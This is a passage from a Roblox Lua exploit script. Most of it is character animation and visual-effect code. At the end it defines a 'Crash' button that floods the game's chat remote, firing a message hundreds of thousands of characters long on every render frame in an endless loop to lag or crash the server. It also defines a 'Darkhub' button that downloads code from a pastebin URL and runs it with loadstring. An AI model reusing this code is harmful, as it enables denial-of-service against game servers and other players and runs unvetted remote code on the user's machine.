3997 hitfloor, posfloor = rayCast(root.Position, CFrame.new(root.Position, root.Position - Vector3.new(0, 1, 0)).lookVector, 4* Player_Size, char)
3998
3999 if hitfloor == nil then
4000 cankick = true
4001 else
4002 cankick = false
4003 end
4004
4005
4006 if equipped == true or equipped == false then
4007 if attack == false then
4008 idle = idle + 1
4009 else
4010 idle = 0
4011 end
4012 if 1 < root.Velocity.y and hitfloor == nil then
4013 Anim = "Jump"
4014 if attack == false then
4015 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(0,0,0),0.15)
4016 rootj.C0 = clerp(rootj.C0, RootCF * CF(0* Player_Size, 0* Player_Size, -0.1 + 0.1 * Cos(sine / 20)* Player_Size) * angles(Rad(-16), Rad(0), Rad(0)), 0.15)
4017 neck.C0 = clerp(neck.C0, necko* CF(0, 0, 0 + ((1* Player_Size) - 1)) * angles(Rad(10 - 2.5 * Sin(sine / 30)), Rad(0), Rad(0)), 0.1)
4018 RH.C0 = clerp(RH.C0, CF(1* Player_Size, -.2 - 0.1 * Cos(sine / 20)* Player_Size, -.3* Player_Size) * RHCF * angles(Rad(-2.5), Rad(0), Rad(0)), 0.15)
4019 LH.C0 = clerp(LH.C0, CF(-1* Player_Size, -.9 - 0.1 * Cos(sine / 20), -.5* Player_Size) * LHCF * angles(Rad(-2.5), Rad(0), Rad(0)), 0.15)
4020 RW.C0 = clerp(RW.C0, CF(1.5* Player_Size, 0.5 + 0.02 * Sin(sine / 20)* Player_Size, 0* Player_Size) * angles(Rad(25), Rad(-.6), Rad(13 + 4.5 * Sin(sine / 20))), 0.1)
4021 LW.C0 = clerp(LW.C0, CF(-1.5* Player_Size, 0.5 + 0.02 * Sin(sine / 20)* Player_Size, 0* Player_Size) * angles(Rad(25), Rad(-.6), Rad(-13 - 4.5 * Sin(sine / 20))), 0.1)
4022 end
4023 elseif -1 > root.Velocity.y and hitfloor == nil then
4024 Anim = "Fall"
4025 if attack == false then
4026 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(0,0,0),0.15)
4027 rootj.C0 = clerp(rootj.C0, RootCF * CF(0* Player_Size, 0* Player_Size, -0.1 + 0.1 * Cos(sine / 20)* Player_Size) * angles(Rad(24), Rad(0), Rad(0)), 0.15)
4028 neck.C0 = clerp(neck.C0, necko* CF(0, 0, 0 + ((1* Player_Size) - 1)) * angles(Rad(10 - 2.5 * Sin(sine / 30)), Rad(0), Rad(0)), 0.1)
4029 RH.C0 = clerp(RH.C0, CF(1* Player_Size, -1 - 0.1 * Cos(sine / 20)* Player_Size, -.3* Player_Size) * RHCF * angles(Rad(-3.5), Rad(0), Rad(0)), 0.15)
4030 LH.C0 = clerp(LH.C0, CF(-1* Player_Size, -.8 - 0.1 * Cos(sine / 20)* Player_Size, -.3* Player_Size) * LHCF * angles(Rad(-3.5), Rad(0), Rad(0)), 0.15)
4031 RW.C0 = clerp(RW.C0, CF(1.5* Player_Size, 0.5 + 0.02 * Sin(sine / 20)* Player_Size, 0* Player_Size) * angles(Rad(65), Rad(-.6), Rad(45 + 4.5 * Sin(sine / 20))), 0.1)
4032 LW.C0 = clerp(LW.C0, CF(-1.5* Player_Size, 0.5 + 0.02 * Sin(sine / 20)* Player_Size, 0* Player_Size) * angles(Rad(55), Rad(-.6), Rad(-45 - 4.5 * Sin(sine / 20))), 0.1)
4033 end
4034 elseif torvel < 1 and hitfloor ~= nil then
4035 Anim = "Idle"
4036 change = 1
4037 if attack == false then
4038 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(0,0,0),0.15)
4039 rootj.C0 = clerp(rootj.C0, RootCF * CF(0* Player_Size, 0* Player_Size, -0.1 + 0.1* Player_Size * Cos(sine / 12)) * angles(Rad(0), Rad(0), Rad(20)), 0.1)
4040 tors.Neck.C0 = clerp(tors.Neck.C0, necko* CF(0, 0, 0 + ((1* Player_Size) - 1)) * angles(Rad(-6.5 * Sin(sine / 12)), Rad(0), Rad(-20)), 0.1)
4041 RH.C0 = clerp(RH.C0, CF(1* Player_Size, -0.9 - 0.1 * Cos(sine / 12)* Player_Size, 0* Player_Size) * angles(Rad(0), Rad(75), Rad(0)) * angles(Rad(-12.5), Rad(0), Rad(0)), 0.1)
4042 LH.C0 = clerp(LH.C0, CF(-1* Player_Size, -0.9 - 0.1 * Cos(sine / 12)* Player_Size, -0.2* Player_Size) * angles(Rad(0), Rad(-65), Rad(0)) * angles(Rad(-6.5), Rad(0), Rad(6)), 0.1)
4043 RW.C0 = clerp(RW.C0, CF(1.5* Player_Size, 0.2 + 0.05 * Sin(sine / 12)* Player_Size, 0* Player_Size) * angles(Rad(110), Rad(6 + 6.5 * Sin(sine / 12)), Rad(25)), 0.1)
4044 LW.C0 = clerp(LW.C0, CF(-1.3* Player_Size, 0.2 + 0.05 * Sin(sine / 12)* Player_Size, -0.5* Player_Size) * angles(Rad(110), Rad(6 - 6.5 * Sin(sine / 12)), Rad(25)), 0.1)
4045 end
4046 elseif torvel > 2 and torvel < 22 and hitfloor ~= nil then
4047 Anim = "Walk"
4048 change = 1
4049 if attack == false then
4050 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(0,0,0),0.15)
4051 rootj.C0 = clerp(rootj.C0, RootCF * CF(0* Player_Size, 0* Player_Size, -0.175 + 0.025 * Cos(sine / 3.5) + -Sin(sine / 3.5) / 7* Player_Size) * angles(Rad(3 - 2.5 * Cos(sine / 3.5)), Rad(0) - root.RotVelocity.Y / 75, Rad(8 * Cos(sine / 7))), 0.15)
4052 tors.Neck.C0 = clerp(tors.Neck.C0, necko* CF(0, 0, 0 + ((1* Player_Size) - 1)) * angles(Rad(-1), Rad(0), Rad(0) - hed.RotVelocity.Y / 15), 0.15)
4053 RH.C0 = clerp(RH.C0, CF(1* Player_Size, -0.8 - 0.5 * Cos(sine / 7) / 2* Player_Size, 0.6 * Cos(sine / 7) / 2* Player_Size) * angles(Rad(-15 - 15 * Cos(sine / 7)) - rl.RotVelocity.Y / 75 + -Sin(sine / 7) / 2.5, Rad(90 - 10 * Cos(sine / 7)), Rad(0)) * angles(Rad(0 + 2 * Cos(sine / 7)), Rad(0), Rad(0)), 0.3)
4054 LH.C0 = clerp(LH.C0, CF(-1* Player_Size, -0.8 + 0.5 * Cos(sine / 7) / 2* Player_Size, -0.6 * Cos(sine / 7) / 2* Player_Size) * angles(Rad(-15 + 15 * Cos(sine / 7)) + ll.RotVelocity.Y / 75 + Sin(sine / 7) / 2.5, Rad(-90 - 10 * Cos(sine / 7)), Rad(0)) * angles(Rad(0 - 2 * Cos(sine / 7)), Rad(0), Rad(0)), 0.3)
4055 RW.C0 = clerp(RW.C0, CF(1.5* Player_Size, 0.5 + 0.05 * Sin(sine / 7)* Player_Size, 0* Player_Size) * angles(Rad(56) * Cos(sine / 7) , Rad(10 * Cos(sine / 7)), Rad(6) - ra.RotVelocity.Y / 75), 0.1)
4056 LW.C0 = clerp(LW.C0, CF(-1.5* Player_Size, 0.5 + 0.05 * Sin(sine / 7)* Player_Size, 0* Player_Size) * angles(Rad(-56) * Cos(sine / 7) , Rad(10 * Cos(sine / 7)) , Rad(-6) + la.RotVelocity.Y / 75), 0.1)
4057 end
4058 elseif torvel >= 22 and hitfloor ~= nil then
4059 Anim = "Sprint"
4060 change = 1.35
4061 if attack == false then
4062 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(0,0,0),0.15)
4063 rootj.C0 = clerp(rootj.C0, RootCF * CF(0* Player_Size, 0* Player_Size, -0.175 + 0.025 * Cos(sine / 3.5) + -Sin(sine / 3.5) / 7* Player_Size) * angles(Rad(26 - 4.5 * Cos(sine / 3.5)), Rad(0) - root.RotVelocity.Y / 75, Rad(15 * Cos(sine / 7))), 0.15)
4064 tors.Neck.C0 = clerp(tors.Neck.C0, necko* CF(0, 0, 0 + ((1* Player_Size) - 1)) * angles(Rad(-8.5 - 2 * Sin(sine / 20)), Rad(0), Rad(0) - hed.RotVelocity.Y / 15), 0.15)
4065 RH.C0 = clerp(RH.C0, CF(1* Player_Size, -0.925 - 0.5 * Cos(sine / 7) / 2* Player_Size, 0.7 * Cos(sine / 7) / 2* Player_Size) * angles(Rad(-15 - 55 * Cos(sine / 7)) - rl.RotVelocity.Y / 75 + -Sin(sine / 7) / 2.5, Rad(90 - 0.1 * Cos(sine / 7)), Rad(0)) * angles(Rad(0 + 0.1 * Cos(sine / 7)), Rad(0), Rad(0)), 0.3)
4066 LH.C0 = clerp(LH.C0, CF(-1* Player_Size, -0.925 + 0.5 * Cos(sine / 7) / 2* Player_Size, -0.7 * Cos(sine / 7) / 2* Player_Size) * angles(Rad(-15 + 55 * Cos(sine / 7)) + ll.RotVelocity.Y / 75 + Sin(sine / 7) / 2.5, Rad(-90 - 0.1 * Cos(sine / 7)), Rad(0)) * angles(Rad(0 - 0.1 * Cos(sine / 7)), Rad(0), Rad(0)), 0.3)
4067 RW.C0 = clerp(RW.C0, CF(1.5* Player_Size, 0.5 + 0.05 * Sin(sine / 30)* Player_Size, 0.34 * Cos(sine / 7* Player_Size)) * angles(Rad(-65) , Rad(0), Rad(13) - ra.RotVelocity.Y / 75), 0.15)
4068 LW.C0 = clerp(LW.C0, CF(-1.5* Player_Size, 0.5 + 0.05 * Sin(sine / 30)* Player_Size, -0.34 * Cos(sine / 7* Player_Size)) * angles(Rad(-65) , Rad(0) , Rad(-13) + la.RotVelocity.Y / 75), 0.15)
4069 end
4070 end
4071 end
4072 Music.SoundId = "rbxassetid://"..SONG
4073 Music.Looped = true
4074 Music.Pitch = 1
4075 Music.Volume = 0.7
4076 Music.Parent = tors
4077 Music:Resume()
4078 if 0 < #Effects then
4079 for e = 1, #Effects do
4080 if Effects[e] ~= nil then
4081 local Thing = Effects[e]
4082 if Thing ~= nil then
4083 local Part = Thing[1]
4084 local Mode = Thing[2]
4085 local Delay = Thing[3]
4086 local IncX = Thing[4]
4087 local IncY = Thing[5]
4088 local IncZ = Thing[6]
4089 if 1 >= Thing[1].Transparency then
4090 if Thing[2] == "Block1" then
4091 Thing[1].CFrame = Thing[1].CFrame * CFrame.fromEulerAnglesXYZ(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50))
4092 local Mesh = Thing[1].Mesh
4093 Mesh.Scale = Mesh.Scale + Vector3.new(Thing[4], Thing[5], Thing[6])
4094 Thing[1].Transparency = Thing[1].Transparency + Thing[3]
4095 elseif Thing[2] == "Block2" then
4096 Thing[1].CFrame = Thing[1].CFrame + Vector3.new(0, 0, 0)
4097 local Mesh = Thing[7]
4098 Mesh.Scale = Mesh.Scale + Vector3.new(Thing[4], Thing[5], Thing[6])
4099 Thing[1].Transparency = Thing[1].Transparency + Thing[3]
4100 elseif Thing[2] == "Block3" then
4101 Thing[1].CFrame = Thing[1].CFrame * CFrame.fromEulerAnglesXYZ(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) + Vector3.new(0, 0.15, 0)
4102 local Mesh = Thing[7]
4103 Mesh.Scale = Mesh.Scale + Vector3.new(Thing[4], Thing[5], Thing[6])
4104 Thing[1].Transparency = Thing[1].Transparency + Thing[3]
4105 elseif Thing[2] == "Cylinder" then
4106 local Mesh = Thing[1].Mesh
4107 Mesh.Scale = Mesh.Scale + Vector3.new(Thing[4], Thing[5], Thing[6])
4108 Thing[1].Transparency = Thing[1].Transparency + Thing[3]
4109 elseif Thing[2] == "Blood" then
4110 local Mesh = Thing[7]
4111 Thing[1].CFrame = Thing[1].CFrame * Vector3.new(0, 0.5, 0)
4112 Mesh.Scale = Mesh.Scale + Vector3.new(Thing[4], Thing[5], Thing[6])
4113 Thing[1].Transparency = Thing[1].Transparency + Thing[3]
4114 elseif Thing[2] == "Elec" then
4115 local Mesh = Thing[1].Mesh
4116 Mesh.Scale = Mesh.Scale + Vector3.new(Thing[7], Thing[8], Thing[9])
4117 Thing[1].Transparency = Thing[1].Transparency + Thing[3]
4118 elseif Thing[2] == "Disappear" then
4119 Thing[1].Transparency = Thing[1].Transparency + Thing[3]
4120 elseif Thing[2] == "Shatter" then
4121 Thing[1].Transparency = Thing[1].Transparency + Thing[3]
4122 Thing[4] = Thing[4] * CFrame.new(0, Thing[7], 0)
4123 Thing[1].CFrame = Thing[4] * CFrame.fromEulerAnglesXYZ(Thing[6], 0, 0)
4124 Thing[6] = Thing[6] + Thing[5]
4125 end
4126 else
4127 Part.Parent = nil
4128 table.remove(Effects, e)
4129 end
4130 end
4131 end
4132 end
4133 end
4134 end
4135 -------------------------------------------------------
4136 --End Animations And Script--
4137 -------------------------------------------------------
4138end)
4139
4140Crash.MouseButton1Down:connect(function()
4141 game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents")
4142 while true do
4143 wait()
4144 while true do
4145 wait()
4146 for i=1, 100 do
4147 local msg = "/e "..string.rep(" It so laggy why it so laggy omggggggg",351056)
4148 game:GetService("RunService").RenderStepped:Connect(function()
4149 game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(msg,"All")
4150 end)
4151 end
4152 end
4153 end
4154end)
4155
4156
4157
4158Darkhub.MouseButton1Down:connect(function()
4159 loadstring(game:HttpGet("https://pastebin.com/raw/QWxkaS19", true))()
4160end)